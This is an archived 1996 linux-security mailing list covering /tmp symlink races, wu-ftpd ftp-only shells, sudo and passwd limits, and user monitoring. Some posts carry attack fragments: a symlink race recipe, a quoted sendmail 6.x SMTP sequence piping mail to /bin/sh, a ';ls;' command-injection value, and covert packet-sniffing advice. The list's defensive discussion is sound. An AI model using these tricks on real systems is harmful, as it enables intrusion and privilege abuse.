(without doing a chmod). Files owned by root (such as everyting in /bin) are often "chmod ugo-w"'ed but should be allowed to be linked to; I shudder to think how many frail install scripts would break if this was not the case. Sometimes symbolic links are frequently created before the files they link to, also. For example, consider untarring a file which contains: a -> b b Link "a" will probably be unpacked before target file "b" because the files were probably put into the tar file in alphabetical order. So we have about zero chance of implementing this restriction without breaking many things. Of course if you let a user create a symlink to a file which does not exist YET, they may create a link to a file which they do not have write permission when it does exist (which protects /etc/passwd but not temporary files from this kind of attack). A restriction that you can link to the file if it does not exist only if you have write access to the directory the linked object would be in would be somewhat less restrictive but would still have many problems. Even if you restrict creation of links to files you have write access to, you still do not eliminate some of these security holes we are trying to address. It protects files such as /etc/passwd but offers no protection for files which will be created at some point in the future in a public directory if you can guess the names they will have. Suppose we can guess that a program will create a temporary file /tmp/foo at some time in the future. touch /tmp/foo ln -s /tmp/foo /tmp/bar rm /tmp/foo Now we can exploit some priviledged program which manipulates /tmp/bar to affect /tmp/foo. And unfortunately, some of the security holes involving public files give you far more control over when a file access occurs than the "find ... -exec rm {} \;" hole such as those that involve mail. As for the various suggestions of not putting security sensitive files in /tmp or allowing priviledged processes to use /tmp: - My suggestions regarding being able to selectively restrict symbolic linking ability were not intended to be the sole means of protection; they were intended to be used in conjuction with other protections. The intent was to create more than a single barrier to protect against these holes so that the failure or ommision of one barrier would not be sufficient to breach security. - /stmp won't work as well as its proponents may think. It assumes that there are only two levels of priviledge and every program which could possibly be executed at the higher level of privilidge must be capable of determining which level of privilidge it is executing at and behaving accordingly. When root runs a command it runs at a higher privledge than if an ordinary user runs the same command. Is "uucp" priviledged or unprivilidged? If you say uucp is priviledged than anyone who gains access to uucp is then potentionally root. In reality, there is really no userid or process (even "nobody") which can truly be considered unpriviledged. Instead, there are a variety of userid's and processes with different priviledges. Regarding the last point, it would be better to create temporary files within a directory structure such as: /safetmp/userid/processid/file With the equivalenet of - mkdir /safetmp/userid, if it does not exist - mkdir /safetmp/userid/processid, if it does not exist - test if we are the owner of /tmp/userid, and /tmp/userid/processid and abort if not. - chmod 700 /safetmp/userid (or at least "chmod go-w") - create/use - delete any temporary files created - delete the /safetmp/userid/processid directory - DO NOT delete the /safetmp/userid directory when done Of course you should still: - have symlinks disabled in /safetmp - or have symlink squashing code in your open routines, or both - and create all /safetmp/userid directories whenever a user is created. A set of functions should be added to the standard library to automatically manage tmp files. It is really silly that programs make their own decisions about where temporary files go anyway. Functions should be provided for shell scripts as well for those who are unable to rid themselves of this dangerous habit. An option to make /tmp map to /safetmp/userid/processid automagically would probably close a large number of security holes. It would probably break a few things but probably nothing major and probably very little that wasn't already in need of fixing anyway. Of course, you would only want to map the real /tmp, not chrooted /tmp's in anonymous ftpd, etc. --------------------------------------------------------------------------- --- Mark Whitis WWW: http://www.dbd.com/~whitis/ --- --- 428-B Moseley Drive; Charlottesville, VA 22903 804-962-4268 --- --------------------------------------------------------------------------- From [email protected] Wed Jun 19 13:41:12 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA06349; Wed, 19 Jun 1996 13:41:12 -0400 Message-Id: Date: Mon, 17 Jun 96 09:09 +0400 To: [email protected], Richard Jones References: In-Reply-To: ; from Richard Jones at Thu, 6 Jun 1996 09:20:20 -0400 (EDT) Organization: Program Systems Inst., Pereslavl-Zalessky, Russia From: [email protected] (Yury Shevchuk) Subject: Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell Lines: 88 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Length: 3779 Sender: [email protected] Precedence: list Hello, In message Richard Jones writes: > I'm trying to use the wu.ftp ftpaccess file to setup a guestgroup whereby >users with listings in the /etc/passwd file can upload to certain >sections of a Linux-based web site. However, I'd like to deny these >people telnet access. In ftpaccess I use the line: > >guestgroup ftponly > >ftponly is defined as a group in /etc/group and its users have >/etc/passwd entries that look like: > >ftponlyuser1:sladfkj:12:324:FTP ONLY:/usr/ftp/./user1s_ftp_dir/:bin/false > >This is straight out of O'Reilly's Managing Internet Info. Services. >This doesn't work for me, though. With a shell set to /bin/false a user >is not allowed to ftp login. Is this a Linux thing? The user can ftp >login with /bin/bash or some other viable shell, but this opens up telnet >ability to the user (I can't use /etc/hosts.deny because it's too coarse). IMHO, this is an overlook in wu-ftpd: the daemon denies access to users whose shells are not listed in /etc/shells. Adding /etc/ftponly (or /bin/false) to /etc/shells is not the right way to go, though, since doing so would be against the definition of /etc/shells: that file should list only true unrestricted command interpreters (note: /usr/bin/chsh). On our site, ftponly logins work with the following hack to wu-ftpd, which skips the /etc/shells check for accounts that have /etc/ftponly as the login shell. BTW, /etc/ftponly is a link to /usr/bin/passwd on this system, which lets ftponly users to telnet to the system only to change their passwords (not my invention -- seen on one of linux mailing lists). -- Yura =================================================================== RCS file: ftpd.c,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 --- 1.1 1995/02/14 21:32:14 +++ 1.2 1995/02/14 22:04:46 @@ -855,22 +855,31 @@ shell = _PATH_BSHELL; while ((cp = getusershell()) != NULL) if (strcmp(cp, shell) == 0) break; endusershell(); - if (cp == NULL || checkuser(name)) { + /* if user is a member of any of the guestgroups, cause a chroot() */ + /* after they log in successfully */ + guest = acl_guestgroup(pw); + /* guestgroup users may have /etc/ftponly as a shell, even though */ + /* it is not in /etc/shells */ + if (cp == NULL && ! (guest && strcmp(shell, "/etc/ftponly") == 0)) { reply(530, "User %s access denied...", name); - if (logging) - syslog(LOG_NOTICE, - "FTP LOGIN REFUSED (bad shell) FROM %s [%s], %s", - remotehost, remoteaddr, name); + syslog(LOG_NOTICE, + "FTP LOGIN REFUSED (bad shell) FROM %s [%s], %s", + remotehost, remoteaddr, name); pw = (struct passwd *) NULL; return; } - /* if user is a member of any of the guestgroups, cause a chroot() */ - /* after they log in successfully */ - guest = acl_guestgroup(pw); + if (checkuser(name)) { + reply(530, "User %s access denied...", name); + syslog(LOG_NOTICE, + "FTP LOGIN REFUSED (in ftpusers) FROM %s [%s], %s", + remotehost, remoteaddr, name); + pw = (struct passwd *) NULL; + return; + } } if (access_ok(530) < 1) { reply(530, "User %s access denied....", name); syslog(LOG_NOTICE, "FTP LOGIN REFUSED (access denied) FROM %s [%s], %s", remotehost, remoteaddr, name); From [email protected] Wed Jun 19 13:41:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA06365; Wed, 19 Jun 1996 13:41:58 -0400 Date: Mon, 17 Jun 1996 01:12:28 -0700 (PDT) From: Sameer R Manek To: Justin Dobbs cc: [email protected] Subject: Re: [linux-security] Talk security? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 12 Jun 1996, Justin Dobbs wrote: > Hello, > > Are there any security holes associated with making the talk > program the shell of a potentially public account? The > shell would be /usr/bin/talk , with /usr/bin/talk > listed in the /etc/shells file. Is there a potential for > environment-style breakins? > > TIA, > > Justin Dobbs > It totally depends on on which talk client you use. especially if you use, ytalk which lets you have shell access Of course you couldn't really have /usr/bin/talk as a shell since talk needs an argument. Having a account that is hard coded to only do talk request to one account is kind of restrictive, unless this is the intent, (maybe like a help/guest/internet demo account) A better way to do this would have /bin/homebrew.sh be the script. This script would first ask the user what address they would like to send a talk request to, use a c-program instead of the shell read command. Because they could say they want to talk to [email protected];ls; Naturally writing your own shell opens up another can of worms. Good luck -- Sameer Manek [email protected] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The gates in my computer are AND, OR and NOT, not bill. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= I will willingly give my private key to the CIA the same day the Bill Clinton gives me the keys to White House. From [email protected] Wed Jun 19 13:46:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA06387; Wed, 19 Jun 1996 13:46:10 -0400 Message-ID: <[email protected]> Date: Tue, 18 Jun 1996 23:23:23 -0400 From: Renegade X-Mailer: Mozilla 3.0b3 (X11; I; Linux 1.3.20 i586) MIME-Version: 1.0 To: [email protected] Subject: [linux-security] Re: Mprog Thread Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Let's end this Mprog thread. What I saw happen with a early 6.xx version of sendmail was a bug [as Rogier Wolff has identified below], and not a property of the Mprog configuration. While it would be safer to disable the Mprog [as we were advised to do in the past] the problem is apparently fixed. Mprog allows aliases, and .forward files to transfer a mail message to a acutal program for processing. As an example, Majordomo uses the /etc/alias file to forward messages to Majordomo scripts. The original point I wanted to get across was that it was safer to disable the Mprog line if possible. I was slighty misinformed myself about the Mprog functionality. The other point was to alias all the non-user accounts [and root] to the actual administrator of the system. I also use TCP wrappers with booby traps for instant e-mail notification of an access attempts but that is another can of worms. I had no intention of disseminating incorrect information, and I apologize for sharing my misunderstanding about Mprog. Dave Rogier Wolff wrote: > > > Ok. A bug in the 6.xx versions it was possible to send > ------------------ > mail from: "|/usr/bin/tail |/bin/sh" > rcpt to: no-such-user > data > > here > are > exactly > 10 > lines > to > execute > as a > shell > script > ------------------ > This could be fixed by disabeling mailing to programs altogether by > deleting the Mprog line. > > Please be careful not to disseminate incorrect security information. > Indeed it is a good idea to disable the Mprog line, but not because > you can simply mail a shell script which will automatically get > executed. > > Roger. > -- // mailto:[email protected] // http://www.dnaco.net/~renegade/ From [email protected] Wed Jun 19 13:48:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA06432; Wed, 19 Jun 1996 13:48:48 -0400 From: Zefram Message-Id: <[email protected]> Subject: Re: [linux-security] Big security hole in kerneld's request_route To: [email protected] Date: Mon, 17 Jun 1996 00:35:39 +0100 (BST) In-Reply-To: from "Mark Whitis" at Jun 13, 96 05:28:28 pm X-Loop: [email protected] X-Stardate: [-31]7669.91 X-US-Congress: Moronic fuckers MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 937 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- >Another method would be to create a mount option "nosymlinks", similar >to "nosuid", and put your publicly writeable filesystems there. Every time another security hole involving symlinks in /tmp appears, someone suggests that we disable symlinks in /tmp somehow. A while ago someone suggested using the setuid bit on directories for this. The above is the best method I've seen suggested yet: it's simple, there's no way around it, and it's easy to code (it's very similar to the nodev option). Can someone with more time than me please implement this? -zefram -----BEGIN PGP SIGNATURE----- Version: 2.6.i iQCVAgUBMcSaH3D/+HJTpU/hAQGIggP/YLqvVr9QQuFayicxAYpER5AuZ4CRhWQl DKz6PBqeK40qu/Em8JJ8YRrVv2oiRROrSeMSr7CaBL68pYJYwSIAVJQGd077IGRG yVr39YPlUFROfsxrPWOQX/L/82BDwzKhwiOGVEMHwVgpSdMCB0cGer+vuivvUr5e /WXGSywXe5A= =hPc3 -----END PGP SIGNATURE----- -- Andrew Main From [email protected] Wed Jun 19 13:59:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id NAA06566; Wed, 19 Jun 1996 13:59:31 -0400 From: Blue Message-Id: <[email protected]> Subject: [linux-security] sudo limiting To: [email protected] Date: Tue, 18 Jun 1996 17:19:49 -0400 (EDT) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 787 Sender: [email protected] Precedence: list Greetings, The recent thread on sudo has brought a question to me for practical usage. How to implement administrative accounts which have the permission to create or change passwords of arbitary users, without having access to change the root password. I was implementing user adding facilities for a small group whom still should not have root access via sudo and realized that they could just change the root password. I am loathe to do it with a setuid program, even though then I can run the username through a filter, due to the probelms having a program like that can create. Baring hacking passwd, or creating a restricted version of it, is there any secure way around this delima? TIA, Jim "Blue" Carstensen SysAdmin for Cybernex Inc. [email protected] linux-security/linux-security.960620100664 1767 1767 7267 6162264500 16636 0ustar majdommajdomFrom [email protected] Thu Jun 20 11:07:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA17228; Thu, 20 Jun 1996 11:07:28 -0400 From: root Message-Id: <[email protected]> Subject: Re: [linux-security] S/Key and Shadow Passwords To: [email protected], [email protected], [email protected] Date: Thu, 20 Jun 1996 00:11:05 -0400 (EDT) In-Reply-To: <[email protected]> from "Matt 'Panzer Boy'" at Jun 2, 96 11:12:40 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > Matthew Lessins ([email protected]) wrote: > : Is anyone using both of these concurrently (I'm running Slackware ver. 3.0, > : 1.2.13ELF)? I've made a couple small attempts with no luck. Just want to > : make sure that it's been done and that I'm not wasting too much of my > : time. Thanks... > > ftp://ftp.dhp.com/pub/crypto/skey/shadow-3.3.2-skey-950729.tar.gz > > It's based on an somewhat older version of the shadow suite, but it works. > At some point (next "stable" release of the gpl'd shadow-suite) I will > probably re-institute this into it (if it isn't fully integrated already). > 1) I would recommend getting the latest release version of shadow (3.3.2), which came out a while ago, and has S/Key built in. Instead of using S/Key, I use opie myself, which is made by the navy, supports MD5, And it seemed to compile and work better than bellcore's (the real one). It's available at ftp.nrl.navy.mil in directory /pub/security/opie. Minor modifications are needed to pwauth.c to make it compile. (If anyone cares, i can include a diff....) bye now algis rudys From [email protected] Thu Jun 20 11:07:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA17244; Thu, 20 Jun 1996 11:07:41 -0400 Date: Wed, 19 Jun 1996 22:38:09 -0400 (EDT) From: shaggenbunsenburner Reply-To: [email protected] To: Blue cc: [email protected] Subject: Re: [linux-security] sudo limiting In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 18 Jun 1996, Blue wrote: > I was implementing user adding facilities for a small group whom still > should not have root access via sudo and realized that they could just > change the root password. I am loathe to do it with a setuid program, > even though then I can run the username through a filter, due to the > probelms having a program like that can create. > > Baring hacking passwd, or creating a restricted version of it, is there > any secure way around this delima? I'd say hack /bin/passwd. It's been setuid for ages and I'd say it's considered pretty secure. It really, REALLY shouldn't be hard at all to make a /bin/sudo-passwd that disallows changes of the password for "root" or UID 0. Hacking source doesn't strike me as fun, but this is a really, REALLY small hack, and you can get the source in the shadow package. And this really looks like the best and easiest way to go. I don't really have a need for it here, but maybe I'll do it anyway tho if someone will take a look at my code afterwards. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine linux-security/linux-security.960621100664 1767 1767 37172 6162605156 16663 0ustar majdommajdomFrom [email protected] Fri Jun 21 11:06:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA23733; Fri, 21 Jun 1996 11:06:01 -0400 From: "Miller, Raul D." To: [email protected], [email protected] Subject: Re: [linux-security] standard users,grou Date: Mon, 17 Jun 96 12:45:00 PDT Message-ID: <[email protected]> Encoding: 44 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list Lucas: Do not read mail from root, don't do user-things as root, and please dear god don't IRC as root. All of those previous mentioned could make you a sitting target for a wily cracker or a caniving prank. the root account is for doing things that regular users shouldn't be able to, a hidden command to create/destroy things. Do as you wish, but you only compromise security. Not necessarily. (1) If physical security is assured (e.g. a laptop, which you carry with you), passwordless root is reasonable. [You don't want to run any networking daemons in this configuration though.] (2) It's also reasonable to have root running on some vts directly from init. (/bin/open -w is a reasonable way of doing this, though it could be more space efficient). In this configuration, it's also reasonable to set the password field for root to * (no password). Again, this assumes that physical security is present. (3) If the machine is only occasional use (e.g. one of many), then it's reasonable to use either of the above configurations not as a user, but as root. This is no less secure than Dos, Windows, etc. It may result in a *more secure system* than requiring a username/password combination to use the machine. Here's why: If a lot of machines are in use, it's not reasonable to expect the user to remember unique username/password combinations for all machine. Thus you risk these things being written down on paper, stored in a file, or something equally bad. A variant on this is where the same username password is used on all machines -- here, if the combination is revealed in one environment it may be used to compromise another environment. Usernames+passwords only make sense in environments where more than one person has access to the machine. On the other hand, on a single user machine, it is reasonable to put some communications programs in a wrapper that drops most privileges before receiving anything (for example: chroot, setuid, fork, ...). -- Raul From [email protected] Fri Jun 21 11:10:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA23750; Fri, 21 Jun 1996 11:10:06 -0400 Date: Mon, 17 Jun 1996 13:40:30 -0700 Message-Id: <[email protected]> From: Vaughn Skinner To: [email protected] In-reply-to: <[email protected]> (message from Zefram on Mon, 17 Jun 1996 00:22:28 +0100 (BST)) Subject: Re: [linux-security] Talk security? Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] The most obvious thing /etc/shells is used for is nonymous ftp. You probably don't want to allow ftp access to this account. If you do, things get a lot more complicated. But don't forget that it's used by other programs too; for example, GNU su (a security hole in itself, for obvious reasons) allows the user to run an arbitrary program instead of the target user's login shell, if the target user is an unrestricted account (login shell in /etc/shells). So, to summarise, *don't* put an insecure program in a privileged position, and *don't* list a restricted shell as unrestricted. -zefram (I eat my humble pills...) If it is a bad idea to put /bin/ftponly in /etc/shells, I need a new way to allow users to have ftp access without shell access. wu.ftpd requires the user's shell to be in /etc/shells. Is the solution a ftpd hack to accept /bin/ftponly as a valid shell? Is there a better way? vaughn From [email protected] Fri Jun 21 11:11:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA23766; Fri, 21 Jun 1996 11:11:13 -0400 Date: Mon, 17 Jun 1996 23:07:21 +0200 (MET DST) From: Suicide Object To: Peter Orbaek cc: [email protected], [email protected] Subject: Re: [linux-security] suspicious users In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Thu, 13 Jun 1996, Peter Orbaek wrote: > > >I am becoming suspicious of some users on my system. I am wondering what is > >the best way to watch what they do or have done. > >What have you (the members of list) done to "babysit" these users. > - Hack their shell to log certain users' commands via syslog() or > to a special hidden file. It's actually quite useful to have > such shells installed all the time and be able to turn on > snooping for certain users in some config file. good idea. But what if he exec new_shell_safe 's ??? > - Use telnetsnoopd if they are coming in over telnet, this will allow > logging of their entire session. I've sometimes heard of problems > with telnetsnoopd: that it may sit around buring CPU time to no > good use, so be careful. well, telnet snooping is nice for irc sessions, but who has the time to sit around and look what he is doing? better use a packet sniffer and log... > - Use tcpdump or snoop (Solaris) to dump eg. all telnet packets > going from/to a certain host. This can generate a LOT of data. not if you use it wisely. log all he types on port 23 for starters. 513, 21,.... some packetsniffers even allow you to get a realtime viewing of his screen (I've seen tcpdump do it, and use sniffit for it frequently. by the way, sniffit is a packetsniffer written for linux, available http://reptile.rug.ac.be/~coder/sniffit/sniffit.html) major advantage of packetsniffing is that you can do it 1. centralised (one host for an entire segment) 2. unnoticed. no way a user can notice it (or know he *isn't*) disadvantages: only logs the medium you have access over (so no console logins, ppp connections if on another host) Secure shell is also a nice game-braker :-) (well, that's why *I* use it) > With linux you could also hack the kernel to log output to certain > tty's somewhere, maybe this is already possible? Add a couple > of ioctl calls to the tty driver to set dumping conditions and > where to dump the stuff. > > Does Linux support process logging these days? isn't there a standard acct for this? (I never tried it on linux, the man page doesn't look to inviting anyways :-) > Of course, all of this should be done only be people wearing white > hats! Your users will hate you if you do this without proper > cause. > > If you're a commercial access provider, it would be advisable to tell your > users up front that you can and will eavesdrop on them if you suspect > foul play. a nice login disclaimer: Note: This system is for the use of authorized users only. Individuals using this computer without authority, or in excess of their authority, are subject to having all of their activities on this system monitored and recorded by system personnel. Tracing you is currently sponsored by Glock 17L (tm) Wim Vandeputte, Tunnel Vision and the scars to prove it "Is it time to shut down and lay to rest the Bomb that Servant Suicide Object worshipped like a God" -- NIVEK OGRE From [email protected] Fri Jun 21 11:14:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA23888; Fri, 21 Jun 1996 11:14:19 -0400 From: Greg Spiegelberg Message-Id: <[email protected]> Subject: Re: [linux-security] sudo limiting To: [email protected] (Blue) Date: Thu, 20 Jun 1996 06:07:18 -0400 (EDT) Cc: [email protected] In-Reply-To: <[email protected]> from "Blue" at Jun 18, 96 05:19:49 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1309 Sender: [email protected] Precedence: list Blue said, and I indent... -- --Greetings, -- --The recent thread on sudo has brought a question to me for practical usage. -- --How to implement administrative accounts which have the permission to --create or change passwords of arbitary users, without having access to --change the root password. -- --I was implementing user adding facilities for a small group whom still --should not have root access via sudo and realized that they could just --change the root password. I am loathe to do it with a setuid program, --even though then I can run the username through a filter, due to the --probelms having a program like that can create. -- --Baring hacking passwd, or creating a restricted version of it, is there --any secure way around this delima? I could be wrong here but for temporary fix you could modify the sudo function set_perms() (line 759 of cu-sudo v1.4) to -not- set the effective uid in all cases and replace your current passwd/npasswd/yppasswd programs to check the euid. setuid() in the latest libc still only modifies the uid not euid, right? Just a guess. The other option is to not allow sudo users the passwd command(s). -- Greg "Twotone" Spiegelberg - [email protected] UNIX System Administrator/Crash Dummy Lucent "But we'd rather be called AT&T Bell Labs" Technologies From [email protected] Fri Jun 21 11:15:18 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA23907; Fri, 21 Jun 1996 11:15:18 -0400 Date: Thu, 20 Jun 1996 08:41:07 -0300 (ADT) From: Matt Stainforth To: [email protected] Subject: Re: [linux-security] wu.ftp, ftpaccess, and /bin/false shell In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 17 Jun 1996, Yury Shevchuk wrote: > IMHO, this is an overlook in wu-ftpd: the daemon denies access to > users whose shells are not listed in /etc/shells. Adding /etc/ftponly > (or /bin/false) to /etc/shells is not the right way to go, though, > since doing so would be against the definition of /etc/shells: that > file should list only true unrestricted command interpreters (note: > /usr/bin/chsh). > I believe that rather than an oversight in wu-ftpd, it is a built-in feature. Many administrators use a non-standard shell in order to lock accounts. Something like this is what I use: #!/usr/bin/perl # This is the shell used for locked accounts # -Matt Stainforth print "Sorry, this account is locked.\n\n"; if ( -r "$ENV{'HOME'}/.lockreason" ){ open (LKR, "$ENV{'HOME'}/.lockreason"); while (){ print; } close (LKR); chop ($sleep = `wc -w $ENV{'HOME'}/.lockreason`); $sleep = $1 if $sleep =~ /^\s*(d+)/; $sleep = 10 if $sleep < 10; } else{ $sleep=5 } print "Contact the Computing Services UNIX administrator for more information.\n"; sleep $sleep; exit 1; This shell is not listed in /etc/shells and so if it is made a user's default shell, the account is truly locked. No telnet and no FTP access. Matt... ______________________________________________________________________________ Matthew Stainforth Information Systems Analyst require "disclaim.pl"; NBCC - Moncton Campus &Disclaim($opinions)||die "drop dead $!"; Phone: (506) 856-2249 Email: [email protected] _/\o_ ______________________________________________________________________________ From [email protected] Fri Jun 21 11:18:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id LAA23929; Fri, 21 Jun 1996 11:18:25 -0400 Date: Fri, 21 Jun 1996 10:37:59 -0400 (EDT) From: shaggenbunsenburner Reply-To: [email protected] To: Felix von Leitner cc: Blue , [email protected] Subject: Re: [linux-security] sudo limiting In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 21 Jun 1996, Felix von Leitner wrote: > > I'd say hack /bin/passwd. It's been setuid for ages and I'd say it's > > considered pretty secure. > > Really? Du you remember the race condition problem because passwd > creates a file in /tmp? Well, I should have known that as soon as I said "considered secure" someone would prove me wrong :) With a few black marks, however, /bin/passwd has been a safe program to use to change passwords. And I'd vouchsafe that even with no changes it's safer than something written from scratch, if only because it's been around longer. It's really a fairly minor change to implement anyway (making a passwd-sudo or similar) in the source; all you do is do an extra check to make sure no one's changing the passwd for "root" (or bin, daemon, et al). Maybe just disallow changes to any UID under 100 or something? Slackware's default "adduser" starts adding users at 500, maybe that could be the lower limit? shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Fri Jun 21 16:47:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id QAA26404; Fri, 21 Jun 1996 16:47:37 -0400 Message-Id: <[email protected]> Subject: [linux-security] publically writable directories To: [email protected] (linux-security) Date: Fri, 21 Jun 1996 22:13:59 +0200 (MET DST) From: Thomas Koenig X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Following a thread on bugtraq, I checked wether Linux was indeed vulnerable to putting symlinks into publically writable directories, i.e. /tmp: $ uname -s -r Linux 2.0.0 $ rm -f myfile bar $ cat symlink.c #include #include #include int main() { int fd; fd = open("myfile",O_CREAT|O_EXCL, 0600); if (fd == -1) { perror("open failed"); } return 0; } $ cc symlink.c $ ln -s bar myfile $ ls -l myfile lrwxrwxrwx 1 ig25 ig00 3 Jun 21 21:55 myfile -> bar $ ./a.out open failed: File exists So, it appears that Linux 2.0.0 is safe from this attack, at least. >From what I read on bugtraq, so are IRIX 5.3, SunOS 4.1.2 and 4.1.3_U1, Ultrix 4.1, 4.2 and 4.3A, and DEC OSF/1 2.1 and 3.2. IRIX 4.0.1 and 4.0.5f seem to be vulnerable, as is HP-UX 9.0.5. -- Thomas Koenig, [email protected], [email protected]. The joy of engineering is to find a straight line on a double logarithmic diagram. linux-security/linux-security.960624100664 1767 1767 23213 6163560425 16655 0ustar majdommajdomFrom [email protected] Mon Jun 24 12:18:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id MAA05882; Mon, 24 Jun 1996 12:18:08 -0400 Date: Fri, 21 Jun 1996 02:19:42 +0200 Message-Id: <[email protected]> From: Benedikt Stockebrand To: [email protected], [email protected] In-reply-to: <[email protected]> (message from root on Thu, 20 Jun 1996 00:11:05 -0400 (EDT)) Subject: Re: [linux-security] S/Key and Shadow Passwords Sender: [email protected] Precedence: list | 1) I would recommend getting the latest release version of shadow | (3.3.2), 3.3.2 has a security hole and should be upgraded. Check the Shadow-PW-Howto for details. Ben -- Benedikt (Ben) Stockebrand Runaway ping.de sysadmin Dortmund, Germany --- Never ever trust old friends --- My name and email address are not to be added to any list used for the purpose of advertising. By sending unsolicited advertisement e-mail to this address, the sender implicitly agrees to pay a DM 500 fee to the recipient for proofreading services. From [email protected] Mon Jun 24 14:37:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA07661; Mon, 24 Jun 1996 14:37:28 -0400 Date: Thu, 20 Jun 1996 10:39:05 +0200 (MET DST) From: Leonardo Costantini 339846/IL To: [email protected] Subject: [linux-security] A secure (?) nfs-server ? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi all I need to install a REAL secure nfs, can someone tell me wich version should I use ? Should I looking for a new rpc.portmapd too? (note : the machine is connected also to sun nfs-server/client ) Thanks all Leonardo From [email protected] Mon Jun 24 14:38:05 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA07718; Mon, 24 Jun 1996 14:38:05 -0400 Date: Fri, 21 Jun 1996 08:32:15 +0200 (MET DST) From: Achim Dreyer To: Achim Dreyer cc: [email protected] Subject: Re: [linux-security] S/Key and Shadow Passwords In-Reply-To: <[email protected]> Message-ID: X-URI: http://math-www.uni-paderborn.de/~adreyer/ X-Decency-Act: Never re-elect pro censorship politicians! X-pmrqc: X-Confirm-Reading-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- > Subject: Re: [linux-security] S/Key and Shadow Passwords Hy, A related question: Is there any version of telnet/login that allows S/Key + SRA + Shadow passwords ? Ciao, Achim -----BEGIN PGP SIGNATURE----- Version: 2.6.3ia Charset: noconv iQCVAwUBMcpQB8gO8XTmh2atAQFlgAQAqf5dMaTUew1VxB7Pat+N2pmwpi9JAF7w QcgbnIJhOzHlJwlnSvpKy5GIIizrxCkJzE/yXvdETyrJ3YiE7CR40o1SYUuOAPEt lAgs6apNIlhsUTElB9ManiiXiB2BQPh01nFlqLZ8PQ1SWI03WrWmVfv9BzJR+LCM NpYgZMUHmr8= =znYq -----END PGP SIGNATURE----- From [email protected] Mon Jun 24 14:39:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA07774; Mon, 24 Jun 1996 14:39:13 -0400 Date: Fri, 21 Jun 1996 17:24:42 -0500 (CDT) From: Michael Brennen To: Vaughn Skinner cc: [email protected] Subject: Re: [linux-security] Talk security? In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; 